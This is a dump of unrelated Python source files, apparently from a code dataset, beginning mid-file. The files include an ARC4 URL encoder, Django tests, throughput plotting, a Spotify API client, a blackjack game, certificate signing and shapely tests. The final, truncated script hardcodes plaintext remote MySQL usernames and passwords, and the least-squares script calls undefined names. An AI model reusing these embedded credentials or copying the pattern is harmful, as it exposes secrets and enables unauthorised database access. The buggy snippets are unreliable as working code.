num = num // base\n arr.append(alphabet[rem])\n if len(arr) < 2: # want exactly two digits\n arr.append(alphabet[0])\n arr.reverse()\n return ''.join(arr)\n\ndef baseX_decode(string, alphabet=ALPHABET):\n ''' decode string to base 10 from base X where X=len(alphabet) '''\n base, strlen = len(alphabet), len(string)\n num = 0\n for idx, char in enumerate(string):\n power = (strlen - (idx + 1))\n num += alphabet.index(char) * (base ** power)\n idx += 1\n return num\n\ndef sean_encode(food_id, gender, person_id):\n ''' creates disguised URL-friendly string from the inputs.\n gender is either 'c' or 'd' '''\n msg = str(food_id) + gender + str(person_id)\n nonce = ''.join(r.sample(ALPHABET, 4))\n cipher = ARC4.new(KEY+nonce)\n encrypted = cipher.encrypt(msg)\n ord_list = map(ord, encrypted)\n return nonce + ''.join(map(baseX_encode, ord_list))\n\ndef sean_decode(url):\n ''' reverses sean_encode '''\n i, chr_list = 4, []\n nonce = url[:4]\n while i < len(url):\n decoded = baseX_decode(url[i:i+2])\n if decoded < 0 or 255 < decoded:\n raise ValueError\n chr_list.append(chr(decoded))\n i += 2\n encrypted = ''.join(chr_list)\n cipher = ARC4.new(KEY+nonce)\n decrypted = cipher.decrypt(encrypted)\n pattern = r\"(\\d+)([a-zA-z])(\\d+)\"\n m = match(pattern, decrypted)\n if not m:\n raise ValueError\n parsed = m.groups()\n food_id, gender, person_id = int(parsed[0]), parsed[1], int(parsed[2])\n return food_id, gender, person_id\n","sub_path":"choworplow/crypto.py","file_name":"crypto.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"65289603","text":"from django.contrib.auth import get_user_model\nfrom django.urls import reverse\nfrom django.test import TestCase\n\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\n\nfrom core.models import Tag\nfrom recipe.serializers import TagSerializer\n\nTAGS_URL = reverse('recipe:tag-list')\n\n\nclass PublicTagsAPITests(TestCase):\n \"\"\" Test the publical available tags API \"\"\"\n\n def setUp(self):\n self.client = APIClient()\n\n def test_login_required(self):\n \"\"\" Test that checks that a login is required for Recipe tag API \"\"\"\n\n self.user = get_user_model().objects.create_user(\n 'Hash.Qureshi@mnp.ca',\n 'password123'\n )\n\n self.client.force_authenticate(self.user)\n self.client = APIClient()\n res = self.client.get(TAGS_URL)\n # unclear why this works\n self.assertEqual(res.status_code,\n status.HTTP_403_FORBIDDEN)\n\n\nclass PrivateTagsAPITests(TestCase):\n \"\"\" Tests for authenticated user Test API \"\"\"\n\n def setUp(self):\n self.user = get_user_model().objects.create_user(\n 'User@test.ca',\n 'password123'\n )\n self.client = APIClient()\n self.client.force_authenticate(self.user)\n\n def test_retrieve_tags(self):\n \"\"\" Tet getting tags for an authenticated user\"\"\"\n # Create tags\n Tag.objects.create(user=self.user, name='Vegan')\n Tag.objects.create(user=self.user, name='Desert')\n # retriev tags\n res = self.client.get(TAGS_URL)\n tags = Tag.objects.all().order_by('-name')\n serializer = TagSerializer(tags, many=True)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(res.data, serializer.data)\n\n def test_tags_limited_to_user(self):\n \"\"\" Test that th tags returned are for the authenticated user \"\"\"\n user2 = get_user_model().objects.create_user(\n 'otherUser@Otherdomain.ca'\n 'testpass2'\n )\n Tag.objects.create(user=user2, name='Fruity')\n tag = Tag.objects.create(user=self.user, name='Comfort Food')\n res = self.client.get(TAGS_URL)\n\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(len(res.data), 1)\n self.assertEqual(res.data[0]['name'], tag.name)\n\n def test_create_tag_successful(self):\n \"\"\"We are going to test that a tag has been created successfully\"\"\"\n payload = {'name': 'TestTagFraggle'}\n self.client.post(TAGS_URL, payload)\n exists = Tag.objects.filter(\n user=self.user,\n name=payload['name']\n ).exists()\n\n self.assertTrue(exists)\n\n def test_create_tag_invalid(self):\n \"\"\"Creating a new tag that is invalid\"\"\"\n payload = {'name': ''}\n\n res = self.client.post(TAGS_URL, payload)\n\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n","sub_path":"app/recipe/tests/test_tag_api.py","file_name":"test_tag_api.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"380804128","text":"# Copyright (C) 2016 Huang MaChi at Chongqing University\n# of Posts and Telecommunications, Chongqing, China.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport re\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef read_file_1(file_name, delim=','):\n\t\"\"\"\n\t\tRead the bwmng.txt file.\n\t\"\"\"\n\tread_file = open(file_name, 'r')\n\tlines = read_file.xreadlines()\n\tlines_list = []\n\tfor line in lines:\n\t\tline_list = line.strip().split(delim)\n\t\tlines_list.append(line_list)\n\tread_file.close()\n\n\t# Remove the last second's statistics, because they are mostly not intact.\n\tlast_second = lines_list[-1][0]\n\t_lines_list = lines_list[:]\n\tfor line in _lines_list:\n\t\tif line[0] == last_second:\n\t\t\tlines_list.remove(line)\n\n\treturn lines_list\n\ndef read_file_2(file_name):\n\t\"\"\"\n\t\tRead the ping.txt file.\n\t\"\"\"\n\tread_file = open(file_name, 'r')\n\tlines = read_file.xreadlines()\n\tlines_list = []\n\tfor line in lines:\n\t\tif line.endswith(' ms\\n') and not line.startswith('rtt'):\n\t\t\tlines_list.append(line)\n\tread_file.close()\n\treturn lines_list\n\ndef get_total_throughput(total_throughput):\n\t\"\"\"\n\t\ttotal_throughput = {0:x, 1:x, 2:x, ...}\n\t\"\"\"\n\tlines_list = read_file_1('./results/bwmng.txt')\n\tfirst_second = int(lines_list[0][0])\n\tcolumn_bytes_out = 6 # bytes_out\n\tswitch = 's1'\n\tsw = re.compile(switch)\n\trealtime_throught = {}\n\n\tfor i in xrange(121):\n\t\tif not total_throughput.has_key(i):\n\t\t\ttotal_throughput[i] = 0\n\n\tfor i in xrange(121):\n\t\tif not realtime_throught.has_key(i):\n\t\t\trealtime_throught[i] = 0\n\n\tfor row in lines_list:\n\t\tiface_name = row[1]\n\t\tif sw.match(iface_name):\n\t\t\tif int(iface_name[-1]) >= 4: # Choose host-connecting interfaces only.\n\t\t\t\tif (int(row[0]) - first_second) <= 120: # Take the good values only.\n\t\t\t\t\trealtime_throught[int(row[0]) - first_second] += float(row[column_bytes_out]) * 8.0 / (10 ** 6) # Mbit\n\n\tfor i in xrange(121):\n\t\tfor j in xrange(i+1):\n\t\t\ttotal_throughput[i] += realtime_throught[j] # Mbit\n\n\treturn total_throughput\n\ndef get_value_list_1(value_dict):\n\t\"\"\"\n\t\tGet the values from the \"total_throughput\" data structure.\n\t\"\"\"\n\tvalue_list = []\n\tfor i in xrange(121):\n\t\tvalue_list.append(value_dict[i])\n\treturn value_list\n\ndef get_value_list_2(value_dict):\n\t\"\"\"\n\t\tGet the values from the \"roundtrip_delay\" data structure.\n\t\"\"\"\n\tvalue_list = []\n\tsequence_list = []\n\tfor i in xrange(121):\n\t\tif value_dict[i] != 0:\n\t\t\tsequence_list.append(i)\n\t\t\tvalue_list.append(value_dict[i])\n\treturn sequence_list, value_list\n\ndef get_value_list_3(value_dict, sequence):\n\t\"\"\"\n\t\tGet the values from the \"roundtrip_delay\" data structure.\n\t\"\"\"\n\tnum = 0\n\tfor i in xrange(sequence, sequence + 30):\n\t\tif value_dict[i] == 0:\n\t\t\tnum += 1\n\trate = num / 30.0\n\treturn rate\n\ndef get_realtime_speed(switch):\n\t\"\"\"\n\t\tGet realtime speed of individual flow.\n\t\"\"\"\n\trealtime_speed = {}\n\tlines_list = read_file_1('./results/bwmng.txt')\n\tfirst_second = int(lines_list[0][0])\n\tcolumn_bytes_out_rate = 2 # bytes_out/s\n\tsw = re.compile(switch)\n\n\tfor i in xrange(121):\n\t\tif not realtime_speed.has_key(i):\n\t\t\trealtime_speed[i] = 0\n\n\tfor row in lines_list:\n\t\tiface_name = row[1]\n\t\tif sw.match(iface_name):\n\t\t\tif (int(row[0]) - first_second) <= 120: # Take the good values only.\n\t\t\t\trealtime_speed[int(row[0]) - first_second] += float(row[column_bytes_out_rate]) * 8.0 / (10 ** 6) # Mbit/s\n\n\treturn realtime_speed\n\ndef get_delay_values(delay_dict):\n\t\"\"\"\n\t\tGet round trip delay of ping traffic.\n\t\"\"\"\n\tlines_list = read_file_2('./results/ping.txt')\n\tfor i in xrange(121):\n\t\tif not delay_dict.has_key(i):\n\t\t\tdelay_dict[i] = 0\n\n\tfor row in lines_list:\n\t\tsequence = int(row.split(' ')[4].split('=')[1])\n\t\tdelay = float(row.split(' ')[6].split('=')[1])\n\t\tdelay_dict[sequence] = delay\n\n\treturn delay_dict\n\ndef plot_results():\n\t\"\"\"\n\t\tPlot the results:\n\t\t1. Plot total throughput\n\t\t2. Plot realtime speed of individual flow\n\t\"\"\"\n\tbandwidth = 10.0 # (unit: Mbit/s)\n\tutmost_throughput = bandwidth * 120\n\ttotal_throughput = {}\n\ttotal_throughput = get_total_throughput(total_throughput)\n\n\t# 1. Plot total throughput.\n\tfig = plt.figure()\n\tfig.set_size_inches(12, 6)\n\tx = np.arange(0, 121)\n\ty = get_value_list_1(total_throughput)\n\tplt.plot(x, y, 'r-', linewidth=2)\n\tplt.xlabel('Time (s)', fontsize='x-large')\n\tplt.xlim(0, 120)\n\tplt.xticks(np.arange(0, 121, 30))\n\tplt.ylabel('Total Throughput\\n(Mbit)', fontsize='x-large')\n\tplt.ylim(0, utmost_throughput)\n\tplt.yticks(np.linspace(0, utmost_throughput, 11))\n\tplt.grid(True)\n\tplt.savefig('./results/1.total_throughput.png')\n\n\t# 2. Plot realtime speed of individual flow.\n\tfig = plt.figure()\n\tfig.set_size_inches(12, 6)\n\tx = np.arange(0, 121)\n\trealtime_speed1 = get_realtime_speed('s1-eth4')\n\ty1 = get_value_list_1(realtime_speed1)\n\trealtime_speed2 = get_realtime_speed('s1-eth5')\n\ty2 = get_value_list_1(realtime_speed2)\n\trealtime_speed3 = get_realtime_speed('s1-eth6')\n\ty3 = get_value_list_1(realtime_speed3)\n\tplt.plot(x, y1, 'r-', linewidth=2, label=\"Iperf1\")\n\tplt.plot(x, y2, 'g-', linewidth=2, label=\"Iperf2\")\n\tplt.plot(x, y3, 'b-', linewidth=2, label=\"Iperf3\")\n\tplt.xlabel('Time (s)', fontsize='x-large')\n\tplt.xlim(0, 120)\n\tplt.xticks(np.arange(0, 121, 30))\n\tplt.ylabel('Realtime Speed of Individual Flow\\n(Mbit/s)', fontsize='x-large')\n\tplt.ylim(0, bandwidth)\n\tplt.yticks(np.linspace(0, bandwidth, 11))\n\tplt.legend(loc='upper left', fontsize='medium')\n\tplt.grid(True)\n\tplt.savefig('./results/2.realtime_speed_of_individual_flow.png')\n\n\t# 3. Plot realtime throughput.\n\tfig = plt.figure()\n\tfig.set_size_inches(12, 6)\n\tx = np.arange(0, 121)\n\trealtime_speed = get_realtime_speed('s1-eth[4-6]')\n\ty = get_value_list_1(realtime_speed)\n\tplt.plot(x, y, 'r-', linewidth=2)\n\tplt.xlabel('Time (s)', fontsize='x-large')\n\tplt.xlim(0, 120)\n\tplt.xticks(np.arange(0, 121, 30))\n\tplt.ylabel('Realtime Throughput\\n(Mbit/s)', fontsize='x-large')\n\tplt.ylim(0, bandwidth)\n\tplt.yticks(np.linspace(0, bandwidth, 11))\n\tplt.grid(True)\n\tplt.savefig('./results/3.realtime_throught.png')\n\n\nif __name__ == '__main__':\n\tplot_results()\n","sub_path":"plot_results.py","file_name":"plot_results.py","file_ext":"py","file_size_in_byte":6430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"72761071","text":"\n#### Characters added into the document array are added as an element of an 'addChar' array. the 0th element is the character, \n#### the first and second are for super scripts and sub scripts. 3 squared with an index number 'i sub Z' would look like\n#### [numeralThree, [numeralTwo],[lowercasei,settheory__subset,uppercaseZ]]\n####\n\ndef addChar(input):\n\treturn [input,[],[]]\n\n#### pygame events have a .key property that is an integer. \n#### letcor ('letter correspondence') is a dictionary so \n#### I can type a string of the key without having to\n#### remember the number\n\nletCor = {\n\t\n\t'BACKSPACE':8,\n\t'TAB':9,\n\t'ENTER':13,\n\n\t'SPACE':32,\n\n\t'SINGLEQUOTE':39,\n\n\t'COMMA':44,\n\t'HYPHEN':45,\n\t'PERIOD':46,\n\n\t'FORWARDSLASH':47,\n\t'NUMERAL0':48,\n\t'NUMERAL1':49,\n\t'NUMERAL2':50,\n\t'NUMERAL3':51,\n\t'NUMERAL4':52,\n\t'NUMERAL5':53,\n\t'NUMERAL6':54,\n\t'NUMERAL7':55,\n\t'NUMERAL8':56,\n\t'NUMERAL9':57,\n\n\t'SEMICOLON':59,\n\n\t'EQUALS':61,\n\n\t'LEFTBRACKET':91,\n\t'RIGHTBRACKET':93,\n\n\t'BACKSLASH':92,\n\n\t'TILDE':96,\n\n\t'a':97,\n\t'b':98,\n\t'c':99,\n\t'd':100,\n\t'e':101,\n\t'f':102,\n\t'g':103,\n\t'h':104,\n\t'i':105,\n\t'j':106,\n\t'k':107,\n\t'l':108,\n\t'm':109,\n\t'n':110,\n\t'o':111,\n\t'p':112,\n\t'q':113,\n\t'r':114,\n\t's':115,\n\t't':116,\n\t'u':117,\n\t'v':118,\n\t'w':119,\n\t'x':120,\n\t'y':121,\n\t'z':122,\n\n\t'UPARROW':273,\n\t'DOWNARROW':274,\n\t'RIGHTARROW':275,\n\t'LEFTARROW':276,\n\n\t'RIGHTSHIFT':303,\n\t'LEFTSHIFT':304,\n\t'RIGHTCONTROL':305,\n\t'LEFTCONTROL':306,\n\t'RIGHTALT':307,\n\t'LEFTALT':308,\n\n\t'NOKEYS':14000\n\n}\n\nnumbersToNumerals = {\n\t\n\t0:L_Nze,\n\t1:L_Non,\n\t2:L_Ntw,\n\t3:L_Nth,\n\t4:L_Nfo,\n\t5:L_Nfi,\n\t6:L_Nsi,\n\t7:L_Nse,\n\t8:L_Nei,\n\t9:L_Nni\n}\n\n#### Each possible characer is a unique character object. \n#### My terminology through out this program is poor\n#### a Char object is a KIND of character object\n#### but often I use 'char' or 'character' to refer\n#### to specific elements in the document array\n\nclass Char:\n\tdef __init__(self,lilimage,image,keys,keyDig):\n\t\tself.lilimage=lilimage\n\t\tself.image=image\n\t\tself.keys=keys #The keys variable, refers to a tuple, who elements are sets, containing valid key combinations to produce that character. The elements of the set are elements of the dictionary\n\t\tself.keyDig=keyDig\n\n#### This is the document object\n#### Charen (pronounced 'Sharon')\n#### is an array of all the\n#### characters items in the\n#### document\n\nclass Doc:\n\tdef __init__(self):\n\t\tself.charen=[]","sub_path":"ChadTech vZEpTHZE/functionsClassesAndDictionaries.py","file_name":"functionsClassesAndDictionaries.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"457714775","text":"from requests import get, post;\nimport keys.keys as key;\nfrom json import loads, dumps\n\nCLIENT_ID = key.CLIENT_ID;\nCLIENT_SECRET = key.CLIENT_SECRET;\n\n# Spotify URLs\nAUTH_URL = \"https://accounts.spotify.com/authorize\"\nTOKEN_URL = \"https://accounts.spotify.com/api/token\"\nAPI_BASE_URL = \"https://api.spotify.com\"\nAPI_VERSION = \"v1\"\nAPI_URL = f\"{API_BASE_URL}/{API_VERSION}\"\n\n\ndef profile_data(token):\n user_profile_endpoint = f\"{API_URL}/me\"\n headers = {\n 'Authorization': f\"Bearer {token}\",\n 'Accept': \"*/*\",\n 'Cache-Control': \"no-cache\",\n 'Host': \"api.spotify.com\",\n 'Accept-Encoding': \"gzip, deflate\",\n 'Connection': \"keep-alive\",\n 'cache-control': \"no-cache\"\n }\n response = get(user_profile_endpoint, headers=headers)\n data = loads(response.text)\n return data;\n\ndef create_playlist(token, user, name, desc):\n url = f\"{user}/playlists\"\n deets = {\n \"name\": name,\n \"description\": desc\n }\n payload = dumps(deets)\n headers = {\n 'Content-Type': \"application/json\",\n 'Authorization': f\"Bearer {token}\",\n 'Accept': \"*/*\",\n 'Cache-Control': \"no-cache\",\n 'Host': \"api.spotify.com\",\n 'Accept-Encoding': \"gzip, deflate\",\n 'Connection': \"keep-alive\",\n 'cache-control': \"no-cache\"\n }\n create = post(url, data=payload, headers=headers)\n data = loads(create.text)\n return data;\n\ndef search_track(token, name, artist, number):\n url = f\"{API_URL}/search\"\n artist_name = artist.lower();\n querystring = {\n \"q\": f\"{name} artist:{artist_name}\",\n \"type\": \"track\",\n \"limit\": number\n }\n headers = {\n 'Content-Type': \"application/x-www-form-urlencoded\",\n 'Authorization': f\"Bearer {token}\",\n 'Accept': \"*/*\",\n 'Cache-Control': \"no-cache\",\n 'Host': \"api.spotify.com\",\n 'Accept-Encoding': \"gzip, deflate\",\n 'Connection': \"keep-alive\",\n 'cache-control': \"no-cache\"\n }\n search = get(url, headers=headers, params=querystring)\n data = loads(search.text)\n if len(data['tracks']['items']) != 0:\n track_uri = data['tracks']['items'][0]['uri']\n return track_uri\n else:\n return \"\";\n\ndef add_track(token, playlist_id, songs):\n url = f\"{API_URL}/playlists/{playlist_id}/tracks\"\n payload = dumps(songs)\n headers = {\n 'Content-Type': \"application/json\",\n 'Authorization': f\"Bearer {token}\",\n 'Accept': \"*/*\",\n 'Cache-Control': \"no-cache\",\n 'Host': \"api.spotify.com\",\n 'Accept-Encoding': \"gzip, deflate\",\n 'Connection': \"keep-alive\",\n 'cache-control': \"no-cache\"\n }\n add_song = post(url, data=payload, headers=headers)\n return loads(add_song.text);\n\ndef create_uri(token, songlist, number):\n song_uris = {\n \"uris\": []\n }\n song_uris_ext = {\n \"uris\": []\n }\n\n for x in range(0, 100):\n song_uri = search_track(token, songlist[x]['name'], songlist[x]['artist'], number);\n if song_uri == 0 or song_uri == \"\":\n pass;\n else:\n song_uris['uris'].append(song_uri);\n \n for y in range(100, 200):\n song_uri_ext = search_track(token, songlist[y]['name'], songlist[y]['artist'], number);\n if song_uri_ext == 0 or song_uri_ext == \"\":\n pass;\n else:\n song_uris_ext['uris'].append(song_uri_ext)\n\n \n ''' for song in songlist:\n song_uri = search_track(token, song['name'], song['artist'], number);\n if song_uri == 0 or song_uri == \"\":\n pass;\n else:\n song_uris['uris'].append(song_uri); '''\n\n return song_uris, song_uris_ext;","sub_path":"spotify_data.py","file_name":"spotify_data.py","file_ext":"py","file_size_in_byte":3578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"527471832","text":"from scipy.io import loadmat\nimport scipy.optimize as so\nimport numpy as np\n\nfile = loadmat('Drand.mat')\ndata = file['Drand']\n\ndef getSumDistanceSquared(mean):\n SS = np.sum(data- mean)**2\n return SS\n\nbest_fit = so.fmin(leastSquares,x0=10)\nbest_fit = bestfit[0]\nprint(best_fit)\n","sub_path":"quiz/4/leastSquare.py","file_name":"leastSquare.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"323981726","text":"# Will be a bunch of card games to play. Right now only black jack is playable.\n\n#Things to work on are making it diplay nicer and right now the Ace is always 11.\nimport random\n\ndef menu(): \n while True:\n global deck\n deck = [1,2,3,4,5,6,7,8,9,10,11,12,13]*4\n \n print('########################')\n print('## Welcome to cards ##')\n print('## 1 Play Black Jack ##')\n print('## 2 Quit ##')\n print('########################')\n choice =int( input('Enter Choice: '))\n if choice == 1:\n blackjack()\n elif choice == 2:\n exit()\ndef deal():\n global deck\n facecard = {11:'J',12:'Q',13:'K',1:'A'}\n card = int(random.choice(deck))\n deck.remove(card)\n if card in facecard:\n card = facecard[card]\n return(card) \ndef val(hand):\n points = {'K':10,'Q':10,'J':10,'A':11}\n tmp = 0\n for i in hand:\n if i in points:\n tmp += points[i]\n else:\n tmp += i\n return(tmp) \ndef blackjack():\n hand_size = 0\n bust = 0\n dealers_hand =[]\n dealertotal = 0\n players_hand = []\n playertotal = 0\n points = {'K':10,'Q':10,'J':10,'A':11} \n#deal 2 cards \n while hand_size <2:\n dealers_hand.append(deal())\n players_hand.append(deal())\n hand_size += 1\n#find value of cards in hands\n dealertotal = val(dealers_hand)\n playertotal = val(players_hand) \n#playing black jack\n while True:\n if playertotal < 21:\n print(players_hand)\n print('Your at %d ' %(playertotal))\n choice = int(input('Would you like to hit[1] or pass[2]? '))\n \n if choice == 1:\n print('\\nHIT\\n')\n players_hand.append(deal())\n playertotal = val(players_hand)\n elif choice == 2:\n print('\\nPASS\\n')\n break\n else:\n print('please enter only 1 or 2')\n \n elif playertotal == 21:\n print(players_hand)\n print(' /$$$$$$ /$$ ')\n print(' /$$__ $$ /$$$$ ')\n print('|__/ \\ $$|_ $$ ')\n print(' /$$$$$$/ | $$ ')\n print(' /$$____/ | $$ ')\n print('| $$ | $$ ')\n print('| $$$$$$$$ /$$$$$$')\n print('|________/|______/')\n break\n else:\n print('BUST!')\n bust = 1\n break\n \n if bust != 1:\n while dealertotal < playertotal:\n print('DEARLS HAND:\\n %s'%(dealers_hand))\n print('DEALER WILL HIT!\\n')\n dealers_hand.append(deal())\n dealertotal = val(dealers_hand)\n \n \n \n if dealertotal == playertotal:\n print('DEALERS TOTAL IS: %d\\nYOUR TOTAL IS: %d\\nTIE!\\n'%(dealertotal,playertotal))\n elif dealertotal == 21 and playertotal < 21:\n print('DEALERS TOTAL IS: %d\\nYOUR TOTAL IS: %d\\nDELAER WINS!\\n'%(dealertotal,playertotal))\n elif dealertotal > 21:\n print('DEALERS TOTAL IS: %d\\nYOUR TOTAL IS: %d\\nDELAER BUST!\\nYOU WIN!\\n'%(dealertotal,playertotal))\n elif dealertotal > playertotal:\n print('DEALERS TOTAL IS: %d\\nYOUR TOTAL IS: %d\\nYOU LOSE!\\n'%(dealertotal,playertotal))\n else:\n print('DEALERS TOTAL IS: %d\\nYOUR TOTAL IS: %d\\nYOU BUST!\\n'%(dealertotal,playertotal))\n \nmenu()\n","sub_path":"cards.py","file_name":"cards.py","file_ext":"py","file_size_in_byte":3485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"92118479","text":"\"\"\"Signs a Blockchain Certificate with the issuer's signing key.\n\nThis implementation signs the assertion uid, and populates the signature section.\n\nAfter a Blockchain Certificate has been signed, it can be issed on the blockchain by using issue_certificates.py\n\n\"\"\"\nimport json\nimport logging\nimport os\n\nfrom cert_schema.schema_tools import schema_validator\n\nfrom cert_issuer import helpers\nfrom cert_issuer.errors import NoCertificatesFoundError, AlreadySignedError\nfrom cert_issuer.secure_signing import Signer, FileSecretManager\n\n\ndef main(app_config):\n unsigned_certs_dir = app_config.unsigned_certificates_dir\n signed_certs_dir = app_config.signed_certificates_dir\n\n # find certificates to sign\n certificates = helpers.find_certificates_to_process(unsigned_certs_dir, signed_certs_dir)\n if not certificates:\n logging.warning('No certificates to process')\n raise NoCertificatesFoundError('No certificates to process')\n\n logging.info('Processing %d certificates', len(certificates))\n\n # create output dir if it doesn't exist\n os.makedirs(signed_certs_dir, exist_ok=True)\n\n # validate schema\n for uid, certificate in certificates.items():\n with open(certificate.unsigned_cert_file_name) as cert:\n cert_json = json.load(cert)\n schema_validator.validate_unsigned_v1_2(cert_json)\n\n # ensure they are not already signed. We want the user to know about this in case there\n # is a failure from a previous run\n for uid, certificate in certificates.items():\n with open(certificate.unsigned_cert_file_name) as cert:\n cert_json = json.load(cert)\n if 'signature' in cert_json and cert_json['signature']:\n logging.warning('Certificate with uid=%s has already been signed.', uid)\n raise AlreadySignedError('Certificate has already been signed')\n\n logging.info('Signing certificates and writing to folder %s', signed_certs_dir)\n path_to_secret = os.path.join(app_config.usb_name, app_config.key_file)\n signer = Signer(FileSecretManager(path_to_secret=path_to_secret, disable_safe_mode=app_config.safe_mode))\n signer.sign_certs(certificates)\n\n logging.info('Signed certificates are in folder %s', signed_certs_dir)\n\n\nif __name__ == '__main__':\n from cert_issuer import config\n\n try:\n parsed_config = config.get_config()\n main(parsed_config)\n except Exception as ex:\n logging.error(ex, exc_info=True)\n exit(1)\n","sub_path":"cert_issuer/sign_certificates.py","file_name":"sign_certificates.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"36884954","text":"from collections import defaultdict,deque\nclass Node:\n def __init__(self,x):\n self.val=x\n self.left=None\n self.right=None\n\nclass Solution:\n def __init__(self):\n self.ans=defaultdict(deque)\n\n def visit(self,A,level):\n if not A:\n return\n if level % 2 != 0:\n self.ans[level].append(A.val)\n else:\n self.ans[level].appendleft(A.val)\n self.visit(A.left,level+1)\n self.visit(A.right,level+1)\n\n def Solve(self,A):\n if A:\n self.visit(A,1)\n return [v for v in self.ans.values()]\n return []\nroot=Node(1)\nroot.left=Node(2)\nroot.right=Node(3)\nroot.left.left=Node(4)\nroot.left.right=Node(5)\nroot.right.left=Node(6)\nroot.right.right=Node(7)\nA=Solution()\nprint(A.Solve(root))\n","sub_path":"Trees/Tree I/zig-zag_level_order.py","file_name":"zig-zag_level_order.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"532725945","text":"from django.urls import path\n\nfrom . import views\n\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('account_activation_sent', views.account_activation_sent, name='account_activation_sent'),\n path('activate///', views.activate, name='activate'),\n path('artists/', views.artists, name='artists'),\n path('collection//', views.collection, name='collection'),\n path('collection//update/', views.CollectionUpdateFormView.as_view(), name='update'),\n path('collections/', views.collections, name='collections'),\n path('manga//', views.manga, name='manga'),\n path('mangas/', views.mangas, name='mangas'),\n path('publishers/', views.publishers, name='publishers'),\n]\n","sub_path":"collection/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"447609342","text":"import logging\n\nimport pytest\n\nimport pygeos\n\nfrom shapely.geometry import LineString\nfrom shapely.errors import ReadingError\nfrom shapely.wkt import loads\n\nfrom tests.conftest import shapely20_todo\n\n\n@shapely20_todo # logging is not yet implemented\ndef test_error_handler_exception(tmpdir):\n \"\"\"Error logged in addition to exception\"\"\"\n logger = logging.getLogger('shapely.geos')\n logfile = str(tmpdir.join('test_error.log'))\n fh = logging.FileHandler(logfile)\n logger.addHandler(fh)\n\n # This calls error_handler with a format string of \"%s\" and one\n # value.\n with pytest.raises((ReadingError, pygeos.GEOSException)):\n loads('POINT (LOLWUT)')\n\n log = open(logfile).read()\n assert \"Expected number but encountered word: 'LOLWUT'\" in log\n\n\n@shapely20_todo # logging is not yet implemented\ndef test_error_handler(tmpdir):\n logger = logging.getLogger('shapely.geos')\n logfile = str(tmpdir.join('test_error.log'))\n fh = logging.FileHandler(logfile)\n logger.addHandler(fh)\n\n # This operation calls error_handler with a format string that\n # has *no* conversion specifiers.\n LineString([(0, 0), (2, 2)]).project(LineString([(1, 1), (1.5, 1.5)]))\n\n log = open(logfile).read()\n assert \"third argument of GEOSProject_r must be Point\" in log\n\n\ndef test_error_handler_wrong_type():\n with pytest.raises(TypeError):\n loads(1)\n\n\n# pygeos handles both bytes and str\n@shapely20_todo\ndef test_error_handler_for_bytes():\n with pytest.raises(TypeError):\n loads(b'POINT (10 10)')\n\n\n@shapely20_todo # logging is not yet implemented\ndef test_info_handler(tmpdir):\n logger = logging.getLogger('shapely.geos')\n logfile = str(tmpdir.join('test_error.log'))\n fh = logging.FileHandler(logfile)\n logger.addHandler(fh)\n logger.setLevel(logging.INFO)\n\n g = loads('MULTIPOLYGON (((10 20, 10 120, 60 70, 30 70, 30 40, 60 40, 60 70, 90 20, 10 20)))')\n assert not g.is_valid\n\n log = open(logfile).read()\n assert \"Ring Self-intersection at or near point 60 70\" in log\n\n\ndef test_info_handler_quiet(tmpdir):\n logger = logging.getLogger('shapely.geos')\n logfile = str(tmpdir.join('test_error.log'))\n fh = logging.FileHandler(logfile)\n logger.addHandler(fh)\n logger.setLevel(logging.WARNING)\n\n g = loads('MULTIPOLYGON (((10 20, 10 120, 60 70, 30 70, 30 40, 60 40, 60 70, 90 20, 10 20)))')\n assert not g.is_valid\n\n log = open(logfile).read()\n assert \"Ring Self-intersection at or near point 60 70\" not in log\n","sub_path":"tests/test_geos_err_handler.py","file_name":"test_geos_err_handler.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"604372879","text":"import pymysql\nimport time\n\nconnect_toko = pymysql.connect(host='remotemysql.com', user='ez7nyPMDeB', passwd='v9zR4luIh1', db='ez7nyPMDeB')\nconnect_bank = pymysql.connect(host='remotemysql.com', user='g0pqaA3IG2', passwd='K8odd1mcUO', db='g0pqaA3IG2')\n\ncursor_toko = connect_toko.cursor()\ncursor_bank = connect_bank.cursor()\n\ndef engineToko():\n\n print(\"PENGECEKAN DATA TOKO SEDANG BERLANGSUNG\")\n\n select_data = \"SELECT id_invoice FROM tb_integrasi WHERE id_invoice NOT IN(SELECT id_invoice FROM tb_invoice)\"\n cursor_toko.execute(select_data)\n hasil_select_data = cursor_toko.fetchall()\n connect_toko.commit()\n\n for hasil in hasil_select_data:\n 